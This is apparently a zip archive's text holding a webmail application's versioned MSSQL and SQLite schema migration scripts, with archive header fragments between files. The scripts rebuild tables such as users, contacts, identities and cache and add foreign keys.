	[cache_key] [varchar] (255) COLLATE Latin1_General_CS_AS NOT NULL
GO
ALTER TABLE [dbo].[cache_index] ALTER COLUMN
	[mailbox] [varchar] (128) COLLATE Latin1_General_CS_AS NOT NULL
GO
ALTER TABLE [dbo].[cache_messages] ALTER COLUMN
	[mailbox] [varchar] (128) COLLATE Latin1_General_CS_AS NOT NULL
GO
ALTER TABLE [dbo].[cache_thread] ALTER COLUMN
	[mailbox] [varchar] (128) COLLATE Latin1_General_CS_AS NOT NULL
GO
ALTER TABLE [dbo].[users] ALTER COLUMN
	[username] [varchar] (128) COLLATE Latin1_General_CS_AS NOT NULL
GO
PKh�\~5�GSQL/mssql/2021100300.sqlnu�[���-- SQLite onlyPKh�\Y�@SQL/mssql/2010100600.sqlnu�[���-- Updates from version 0.4.2

DROP INDEX [IX_users_username]
GO
CREATE UNIQUE INDEX [IX_users_username] ON [dbo].[users]([username],[mail_host]) ON [PRIMARY]
GO
ALTER TABLE [dbo].[contacts] ALTER COLUMN [email] [varchar] (255) COLLATE Latin1_General_CI_AI NOT NULL
GO

PKh�\�ƨ���SQL/mssql/2015111100.sqlnu�[���ALTER TABLE [dbo].[users] ADD [failed_login] [datetime] NULL
GO
ALTER TABLE [dbo].[users] ADD [failed_login_counter] [int] NULL
GO
PKh�\]?rSQL/mssql/2014042900.sqlnu�[���-- emptyPKh�\�?���SQL/sqlite/2018021600.sqlnu�[���CREATE TABLE filestore (
    file_id integer PRIMARY KEY,
    user_id integer NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL
);

CREATE UNIQUE INDEX ix_filestore_user_id ON filestore(user_id, filename);
PKh�\]?rSQL/sqlite/2013042700.sqlnu�[���-- emptyPKh�\�g:	:	SQL/sqlite/2009103100.sqlnu�[���-- Updates from version 0.3.1

-- ALTER TABLE identities ADD COLUMN changed datetime NOT NULL default '0000-00-00 00:00:00'; --

CREATE TABLE temp_identities (
  identity_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  standard tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  organization varchar(128) default '',
  email varchar(128) NOT NULL default '',
  "reply-to" varchar(128) NOT NULL default '',
  bcc varchar(128) NOT NULL default '',
  signature text NOT NULL default '',
  html_signature tinyint NOT NULL default '0'
);
INSERT INTO temp_identities (identity_id, user_id, standard, name, organization, email, "reply-to", bcc, signature, html_signature)
  SELECT identity_id, user_id, standard, name, organization, email, "reply-to", bcc, signature, html_signature
  FROM identities WHERE del=0;

DROP INDEX ix_identities_user_id;
DROP TABLE identities;

CREATE TABLE identities (
  identity_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  standard tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  organization varchar(128) default '',
  email varchar(128) NOT NULL default '',
  "reply-to" varchar(128) NOT NULL default '',
  bcc varchar(128) NOT NULL default '',
  signature text NOT NULL default '',
  html_signature tinyint NOT NULL default '0'
);
CREATE INDEX ix_identities_user_id ON identities(user_id, del);

INSERT INTO identities (identity_id, user_id, standard, name, organization, email, "reply-to", bcc, signature, html_signature)
  SELECT identity_id, user_id, standard, name, organization, email, "reply-to", bcc, signature, html_signature
  FROM temp_identities;

DROP TABLE temp_identities;

CREATE TABLE contactgroups (
  contactgroup_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default ''
);

CREATE INDEX ix_contactgroups_user_id ON contactgroups(user_id, del);

CREATE TABLE contactgroupmembers (
  contactgroup_id integer NOT NULL,
  contact_id integer NOT NULL default '0',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY (contactgroup_id, contact_id)
);
PKh�\SQL/sqlite/2016100900.sqlnu�[���PKh�\1��GnnSQL/sqlite/2020091000.sqlnu�[���CREATE TABLE collected_addresses (
  address_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  name varchar(255) NOT NULL default '',
  email varchar(255) NOT NULL,
  "type" integer NOT NULL
);

CREATE UNIQUE INDEX ix_collected_addresses_user_id ON collected_addresses(user_id, "type", email);
PKh�\�C$A��SQL/sqlite/2011092800.sqlnu�[���-- Updates from version 0.6

CREATE TABLE dictionary (
    user_id integer DEFAULT NULL,
   "language" varchar(5) NOT NULL,
    data text NOT NULL
);

CREATE UNIQUE INDEX ix_dictionary_user_language ON dictionary (user_id, "language");

CREATE TABLE searches (
  search_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL DEFAULT '0',
  "type" smallint NOT NULL DEFAULT '0',
  name varchar(128) NOT NULL,
  data text NOT NULL
);

CREATE UNIQUE INDEX ix_searches_user_type_name ON searches (user_id, type, name);

DROP TABLE messages;

CREATE TABLE cache_index (
    user_id integer NOT NULL,
    mailbox varchar(255) NOT NULL,
    changed datetime NOT NULL default '0000-00-00 00:00:00',
    valid smallint NOT NULL DEFAULT '0',
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);

CREATE INDEX ix_cache_index_changed ON cache_index (changed);

CREATE TABLE cache_thread (
    user_id integer NOT NULL,
    mailbox varchar(255) NOT NULL,
    changed datetime NOT NULL default '0000-00-00 00:00:00',
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);

CREATE INDEX ix_cache_thread_changed ON cache_thread (changed);

CREATE TABLE cache_messages (
    user_id integer NOT NULL,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    changed datetime NOT NULL default '0000-00-00 00:00:00',
    data text NOT NULL,
    flags integer NOT NULL DEFAULT '0',
    PRIMARY KEY (user_id, mailbox, uid)
);

CREATE INDEX ix_cache_messages_changed ON cache_messages (changed);
PKh�\lg��SQL/sqlite/2013011000.sqlnu�[���-- Updates from version 0.9-beta

CREATE TABLE IF NOT EXISTS system (
  name varchar(64) NOT NULL PRIMARY KEY,
  value text NOT NULL
);
PKh�\���eeSQL/sqlite/2008030300.sqlnu�[���-- Updates from version 0.1-stable to 0.1.1

DROP TABLE messages;

CREATE TABLE messages (
  message_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  del tinyint NOT NULL default '0',
  cache_key varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  idx integer NOT NULL default '0',
  uid integer NOT NULL default '0',
  subject varchar(255) NOT NULL default '',
  "from" varchar(255) NOT NULL default '',
  "to" varchar(255) NOT NULL default '',
  "cc" varchar(255) NOT NULL default '',
  "date" datetime NOT NULL default '0000-00-00 00:00:00',
  size integer NOT NULL default '0',
  headers text NOT NULL,
  structure text
);

CREATE INDEX ix_messages_user_cache_uid ON messages(user_id,cache_key,uid);
CREATE INDEX ix_users_username ON users(username);
CREATE INDEX ix_users_alias ON users(alias);
PKh�\�z>WWSQL/sqlite/2009090400.sqlnu�[���-- Updates from version 0.3-stable

DELETE FROM messages;
DROP INDEX ix_messages_user_cache_uid;
CREATE UNIQUE INDEX ix_messages_user_cache_uid ON messages (user_id,cache_key,uid);
CREATE INDEX ix_messages_index ON messages (user_id,cache_key,idx);
DROP INDEX ix_contacts_user_id;
CREATE INDEX ix_contacts_user_id ON contacts(user_id, email);
PKh�\���~��SQL/sqlite/2016112200.sqlnu�[���DROP TABLE cache;
DROP TABLE cache_shared;

CREATE TABLE cache (
  user_id integer NOT NULL default 0,
  cache_key varchar(128) NOT NULL default '',
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (user_id, cache_key)
);

CREATE INDEX ix_cache_expires ON cache(expires);

CREATE TABLE cache_shared (
  cache_key varchar(255) NOT NULL,
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (cache_key)
);

CREATE INDEX ix_cache_shared_expires ON cache_shared(expires);
PKh�\�NlnnSQL/sqlite/2013061000.sqlnu�[���DROP TABLE cache_index;
DROP TABLE cache_thread;
DROP TABLE cache_messages;

ALTER TABLE cache ADD expires datetime DEFAULT NULL;
DROP INDEX ix_cache_created;

ALTER TABLE cache_shared ADD expires datetime DEFAULT NULL;
DROP INDEX ix_cache_shared_created;

UPDATE cache SET expires = datetime(created, '+604800 seconds');
UPDATE cache_shared SET expires = datetime(created, '+604800 seconds');

CREATE INDEX ix_cache_expires ON cache(expires);
CREATE INDEX ix_cache_shared_expires ON cache_shared(expires);

CREATE TABLE cache_index (
    user_id integer NOT NULL,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    valid smallint NOT NULL DEFAULT '0',
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);

CREATE INDEX ix_cache_index_expires ON cache_index (expires);

CREATE TABLE cache_thread (
    user_id integer NOT NULL,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);

CREATE INDEX ix_cache_thread_expires ON cache_thread (expires);

CREATE TABLE cache_messages (
    user_id integer NOT NULL,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    flags integer NOT NULL DEFAULT '0',
    PRIMARY KEY (user_id, mailbox, uid)
);

CREATE INDEX ix_cache_messages_expires ON cache_messages (expires);
PKh�\��7��SQL/sqlite/2020122900.sqlnu�[���CREATE TABLE tmp_users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(16),
  preferences text DEFAULT NULL
);

INSERT INTO tmp_users (user_id, username, mail_host, created, last_login, failed_login, failed_login_counter, language, preferences)
    SELECT user_id, username, mail_host, created, last_login, failed_login, failed_login_counter, language, preferences FROM users;

DROP TABLE users;

CREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(16),
  preferences text DEFAULT NULL
);

INSERT INTO users (user_id, username, mail_host, created, last_login, failed_login, failed_login_counter, language, preferences)
    SELECT user_id, username, mail_host, created, last_login, failed_login, failed_login_counter, language, preferences FROM tmp_users;

CREATE UNIQUE INDEX ix_users_username ON users(username, mail_host);

DROP TABLE tmp_users;
PKh�\]?rSQL/sqlite/2015030800.sqlnu�[���-- emptyPKh�\@�b�>>SQL/sqlite/2018122300.sqlnu�[���CREATE TABLE tmp_filestore (
    file_id integer PRIMARY KEY,
    user_id integer NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL
);

INSERT INTO tmp_filestore (file_id, user_id, filename, mtime, data)
    SELECT file_id, user_id, filename, mtime, data FROM filestore;

DROP TABLE filestore;

CREATE TABLE filestore (
    file_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL,
    context varchar(32) NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL
);

INSERT INTO filestore (file_id, user_id, filename, mtime, data, context)
    SELECT file_id, user_id, filename, mtime, data, 'enigma' FROM tmp_filestore;

CREATE UNIQUE INDEX ix_filestore_user_id ON filestore(user_id, context, filename);

DROP TABLE tmp_filestore;

PKh�\����//SQL/sqlite/2010042300.sqlnu�[���-- Updates from version 0.4-beta

CREATE TABLE tmp_users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  alias varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime NOT NULL default '0000-00-00 00:00:00',
  language varchar(5),
  preferences text NOT NULL default ''
);

INSERT INTO tmp_users (user_id, username, mail_host, alias, created, last_login, language, preferences)
    SELECT user_id, username, mail_host, alias, created, last_login, language, preferences FROM users;

DROP TABLE users;

CREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  alias varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  language varchar(5),
  preferences text NOT NULL default ''
);

INSERT INTO users (user_id, username, mail_host, alias, created, last_login, language, preferences)
    SELECT user_id, username, mail_host, alias, created, last_login, language, preferences FROM tmp_users;

CREATE INDEX ix_users_username ON users(username);
CREATE INDEX ix_users_alias ON users(alias);
DROP TABLE tmp_users;
PKh�\�����SQL/sqlite/2011121400.sqlnu�[���-- Updates from version 0.7

CREATE TABLE contacts_tmp (
  contact_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  email text NOT NULL default '',
  firstname varchar(128) NOT NULL default '',
  surname varchar(128) NOT NULL default '',
  vcard text NOT NULL default '',
  words text NOT NULL default ''
);

INSERT INTO contacts_tmp (contact_id, user_id, changed, del, name, email, firstname, surname, vcard, words)
    SELECT contact_id, user_id, changed, del, name, email, firstname, surname, vcard, words FROM contacts;

DROP TABLE contacts;

CREATE TABLE contacts (
  contact_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  email text NOT NULL default '',
  firstname varchar(128) NOT NULL default '',
  surname varchar(128) NOT NULL default '',
  vcard text NOT NULL default '',
  words text NOT NULL default ''
);

INSERT INTO contacts (contact_id, user_id, changed, del, name, email, firstname, surname, vcard, words)
    SELECT contact_id, user_id, changed, del, name, email, firstname, surname, vcard, words FROM contacts_tmp;

CREATE INDEX ix_contacts_user_id ON contacts(user_id, del);
DROP TABLE contacts_tmp;
PKh�\�H��__SQL/sqlite/2022081200.sqlnu�[���DROP INDEX ix_responses_user_id;
CREATE INDEX ix_responses_user_id ON responses(user_id, del);
PKh�\��Ƣ��SQL/sqlite/2008092100.sqlnu�[���-- Updates from version 0.2-beta

CREATE INDEX ix_session_changed ON session (changed);
CREATE INDEX ix_cache_created ON cache (created);
PKh�\��`�SQL/sqlite/2013052500.sqlnu�[���CREATE TABLE cache_shared (
  cache_key varchar(255) NOT NULL,
  created datetime NOT NULL default '0000-00-00 00:00:00',
  data text NOT NULL
);

CREATE INDEX ix_cache_shared_cache_key ON cache_shared(cache_key);
CREATE INDEX ix_cache_shared_created ON cache_shared(created);
PKh�\�TL6""SQL/sqlite/2011011200.sqlnu�[���-- Updates from version 0.5.x

CREATE TABLE contacts_tmp (
    contact_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL default '0',
    changed datetime NOT NULL default '0000-00-00 00:00:00',
    del tinyint NOT NULL default '0',
    name varchar(128) NOT NULL default '',
    email varchar(255) NOT NULL default '',
    firstname varchar(128) NOT NULL default '',
    surname varchar(128) NOT NULL default '',
    vcard text NOT NULL default ''
);

INSERT INTO contacts_tmp (contact_id, user_id, changed, del, name, email, firstname, surname, vcard)
    SELECT contact_id, user_id, changed, del, name, email, firstname, surname, vcard FROM contacts;

DROP TABLE contacts;
CREATE TABLE contacts (
    contact_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL default '0',
    changed datetime NOT NULL default '0000-00-00 00:00:00',
    del tinyint NOT NULL default '0',
    name varchar(128) NOT NULL default '',
    email varchar(255) NOT NULL default '',
    firstname varchar(128) NOT NULL default '',
    surname varchar(128) NOT NULL default '',
    vcard text NOT NULL default '',
    words text NOT NULL default ''
);

INSERT INTO contacts (contact_id, user_id, changed, del, name, email, firstname, surname, vcard)
    SELECT contact_id, user_id, changed, del, name, email, firstname, surname, vcard FROM contacts_tmp;

CREATE INDEX ix_contacts_user_id ON contacts(user_id, email);
DROP TABLE contacts_tmp;


DELETE FROM messages;
DELETE FROM cache;
CREATE INDEX ix_contactgroupmembers_contact_id ON contactgroupmembers (contact_id);
PKh�\]?rSQL/sqlite/2020020101.sqlnu�[���-- emptyPKh�\��E��SQL/sqlite/2020020100.sqlnu�[���CREATE TABLE tmp_users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(16),
  preferences text NOT NULL default ''
);

INSERT INTO tmp_users (user_id, username, mail_host, created, last_login, failed_login, failed_login_counter, language, preferences)
    SELECT user_id, username, mail_host, created, last_login, failed_login, failed_login_counter, language, preferences FROM users;

DROP TABLE users;

CREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(16),
  preferences text NOT NULL default ''
);

INSERT INTO users (user_id, username, mail_host, created, last_login, failed_login, failed_login_counter, language, preferences)
    SELECT user_id, username, mail_host, created, last_login, failed_login, failed_login_counter, language, preferences FROM tmp_users;

CREATE UNIQUE INDEX ix_users_username ON users(username, mail_host);

DROP TABLE tmp_users;

CREATE TABLE tmp_dictionary (
    user_id integer DEFAULT NULL,
   language varchar(16) NOT NULL,
    data text NOT NULL
);

INSERT INTO tmp_dictionary (user_id, language, data) SELECT user_id, language, data FROM dictionary;

DROP TABLE dictionary;

CREATE TABLE dictionary (
    user_id integer DEFAULT NULL,
   language varchar(16) NOT NULL,
    data text NOT NULL
);

INSERT INTO dictionary (user_id, language, data) SELECT user_id, language, data FROM tmp_dictionary;

CREATE UNIQUE INDEX ix_dictionary_user_language ON dictionary (user_id, language);

DROP TABLE tmp_dictionary;
PKh�\��[[SQL/sqlite/2008060900.sqlnu�[���-- Updates from version 0.2-alpha

CREATE INDEX ix_messages_created ON messages (created);
PKh�\?QppSQL/sqlite/2021081000.sqlnu�[���CREATE TABLE responses (
  response_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(255) NOT NULL,
  data text NOT NULL,
  is_html tinyint NOT NULL default '0'
);

CREATE UNIQUE INDEX ix_responses_user_id ON responses(user_id, del);
PKh�\]
+�SQL/sqlite/2016081200.sqlnu�[���DROP TABLE session;
CREATE TABLE session (
  sess_id varchar(128) NOT NULL PRIMARY KEY,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  ip varchar(40) NOT NULL default '',
  vars text NOT NULL
);

CREATE INDEX ix_session_changed ON session (changed);
PKh�\�g�ddSQL/sqlite/2011111600.sqlnu�[���-- Updates from version 0.7-beta

DROP TABLE session;
CREATE TABLE session (
  sess_id varchar(128) NOT NULL PRIMARY KEY,
  created datetime NOT NULL default '0000-00-00 00:00:00',
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  ip varchar(40) NOT NULL default '',
  vars text NOT NULL
);
CREATE INDEX ix_session_changed ON session (changed);
PKh�\�r����SQL/sqlite/2012080700.sqlnu�[���-- Updates from version 0.8

DROP TABLE cache;
CREATE TABLE cache (
  user_id integer NOT NULL default 0,
  cache_key varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  data text NOT NULL
);

CREATE INDEX ix_cache_user_cache_key ON cache(user_id, cache_key);
CREATE INDEX ix_cache_created ON cache(created);

CREATE TABLE tmp_users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  language varchar(5),
  preferences text NOT NULL default ''
);

INSERT INTO tmp_users (user_id, username, mail_host, created, last_login, language, preferences)
    SELECT user_id, username, mail_host, created, last_login, language, preferences FROM users;

DROP TABLE users;

CREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  language varchar(5),
  preferences text NOT NULL default ''
);

INSERT INTO users (user_id, username, mail_host, created, last_login, language, preferences)
    SELECT user_id, username, mail_host, created, last_login, language, preferences FROM tmp_users;

CREATE UNIQUE INDEX ix_users_username ON users(username, mail_host);

CREATE INDEX ix_identities_email ON identities(email, del);
PKh�\]?rSQL/sqlite/2019092900.sqlnu�[���-- emptyPKh�\�`>�"�"SQL/sqlite/2021100300.sqlnu�[���-- Add foreign keys

DELETE FROM contacts WHERE user_id NOT IN (SELECT user_id FROM users);
ALTER TABLE contacts RENAME TO old_contacts;
DROP INDEX ix_contacts_user_id;
CREATE TABLE contacts (
  contact_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  email text NOT NULL default '',
  firstname varchar(128) NOT NULL default '',
  surname varchar(128) NOT NULL default '',
  vcard text NOT NULL default '',
  words text NOT NULL default ''
);
CREATE INDEX ix_contacts_user_id ON contacts(user_id, del);
INSERT INTO contacts (contact_id, user_id, changed, del, name, email, firstname, surname, vcard, words)
    SELECT contact_id, user_id, changed, del, name, email, firstname, surname, vcard, words FROM old_contacts;
DROP TABLE old_contacts;

DELETE FROM contactgroups WHERE user_id NOT IN (SELECT user_id FROM users);
ALTER TABLE contactgroups RENAME TO old_contactgroups;
DROP INDEX ix_contactgroups_user_id;
CREATE TABLE contactgroups (
  contactgroup_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default ''
);
CREATE INDEX ix_contactgroups_user_id ON contactgroups(user_id, del);
INSERT INTO contactgroups (contactgroup_id, user_id, changed, del, name)
    SELECT contactgroup_id, user_id, changed, del, name FROM old_contactgroups;
DROP TABLE old_contactgroups;

DELETE FROM contactgroupmembers WHERE contact_id NOT IN (SELECT contact_id FROM contacts);
DELETE FROM contactgroupmembers WHERE contactgroup_id NOT IN (SELECT contactgroup_id FROM contactgroups);
ALTER TABLE contactgroupmembers RENAME TO old_contactgroupmembers;
DROP INDEX ix_contactgroupmembers_contact_id;
CREATE TABLE contactgroupmembers (
  contactgroup_id integer NOT NULL
    REFERENCES contactgroups (contactgroup_id) ON DELETE CASCADE ON UPDATE CASCADE,
  contact_id integer NOT NULL
    REFERENCES contacts (contact_id) ON DELETE CASCADE ON UPDATE CASCADE,
  created datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY (contactgroup_id, contact_id)
);
INSERT INTO contactgroupmembers (contactgroup_id, contact_id, created)
    SELECT contactgroup_id, contact_id, created FROM old_contactgroupmembers;
CREATE INDEX ix_contactgroupmembers_contact_id ON contactgroupmembers (contact_id);
DROP TABLE old_contactgroupmembers;

DELETE FROM collected_addresses WHERE user_id NOT IN (SELECT user_id FROM users);
ALTER TABLE collected_addresses RENAME TO old_collected_addresses;
DROP  INDEX ix_collected_addresses_user_id;
CREATE TABLE collected_addresses (
  address_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  name varchar(255) NOT NULL default '',
  email varchar(255) NOT NULL,
  "type" integer NOT NULL
);
CREATE UNIQUE INDEX ix_collected_addresses_user_id ON collected_addresses(user_id, "type", email);
INSERT INTO collected_addresses (address_id, user_id, changed, name, email, "type")
    SELECT address_id, user_id, changed, name, email, "type" FROM old_collected_addresses;
DROP TABLE old_collected_addresses;

DELETE FROM identities WHERE user_id NOT IN (SELECT user_id FROM users);
ALTER TABLE identities RENAME TO old_identities;
DROP INDEX ix_identities_user_id;
DROP INDEX ix_identities_email;
CREATE TABLE identities (
  identity_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  standard tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  organization varchar(128) default '',
  email varchar(128) NOT NULL default '',
  "reply-to" varchar(128) NOT NULL default '',
  bcc varchar(128) NOT NULL default '',
  signature text NOT NULL default '',
  html_signature tinyint NOT NULL default '0'
);
CREATE INDEX ix_identities_user_id ON identities(user_id, del);
CREATE INDEX ix_identities_email ON identities(email, del);
INSERT INTO identities (identity_id, user_id, changed, del, standard, name, organization, email, "reply-to", bcc, signature, html_signature)
    SELECT identity_id, user_id, changed, del, standard, name, organization, email, "reply-to", bcc, signature, html_signature FROM old_identities;
DROP TABLE old_identities;

DELETE FROM responses WHERE user_id NOT IN (SELECT user_id FROM users);
ALTER TABLE responses RENAME TO old_responses;
DROP INDEX ix_responses_user_id;
CREATE TABLE responses (
  response_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(255) NOT NULL,
  data text NOT NULL,
  is_html tinyint NOT NULL default '0'
);
CREATE INDEX ix_responses_user_id ON responses(user_id, del);
INSERT INTO responses (response_id, user_id, changed, del, name, data, is_html)
    SELECT response_id, user_id, changed, del, name, data, is_html FROM old_responses;
DROP TABLE old_responses;

DELETE FROM dictionary WHERE user_id IS NOT NULL AND user_id NOT IN (SELECT user_id FROM users);
ALTER TABLE dictionary RENAME TO old_dictionary;
DROP INDEX ix_dictionary_user_language;
CREATE TABLE dictionary (
  user_id integer DEFAULT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  language varchar(16) NOT NULL,
  data text NOT NULL
);
CREATE UNIQUE INDEX ix_dictionary_user_language ON dictionary (user_id, language);
INSERT INTO dictionary (user_id, language, data)
    SELECT user_id, language, data FROM old_dictionary;
DROP TABLE old_dictionary;

DELETE FROM searches WHERE user_id NOT IN (SELECT user_id FROM users);
ALTER TABLE searches RENAME TO old_searches;
DROP INDEX ix_searches_user_type_name;
CREATE TABLE searches (
  search_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  "type" smallint NOT NULL DEFAULT '0',
  name varchar(128) NOT NULL,
  data text NOT NULL
);
CREATE UNIQUE INDEX ix_searches_user_type_name ON searches (user_id, type, name);
INSERT INTO searches (search_id, user_id, "type", name, data)
    SELECT search_id, user_id, "type", name, data FROM old_searches;
DROP TABLE old_searches;

DELETE FROM filestore WHERE user_id NOT IN (SELECT user_id FROM users);
ALTER TABLE filestore RENAME TO old_filestore;
DROP INDEX ix_filestore_user_id;
CREATE TABLE filestore (
    file_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    context varchar(32) NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL
);
CREATE UNIQUE INDEX ix_filestore_user_id ON filestore(user_id, context, filename);
INSERT INTO filestore (file_id, user_id, context, filename, mtime, data)
    SELECT file_id, user_id, context, filename, mtime, data FROM old_filestore;
DROP TABLE old_filestore;


DROP TABLE cache;
CREATE TABLE cache (
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  cache_key varchar(128) NOT NULL default '',
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (user_id, cache_key)
);
CREATE INDEX ix_cache_expires ON cache(expires);

DROP TABLE cache_index;
CREATE TABLE cache_index (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    valid smallint NOT NULL DEFAULT '0',
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);
CREATE INDEX ix_cache_index_expires ON cache_index (expires);

DROP TABLE cache_thread;
CREATE TABLE cache_thread (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);
CREATE INDEX ix_cache_thread_expires ON cache_thread (expires);

DROP TABLE cache_messages;
CREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    flags integer NOT NULL DEFAULT '0',
    PRIMARY KEY (user_id, mailbox, uid)
);

CREATE INDEX ix_cache_messages_expires ON cache_messages (expires);
PKh�\
���MMSQL/sqlite/2013011700.sqlnu�[���-- drop temp table created in 2012080700.sql
DROP TABLE IF EXISTS tmp_users;
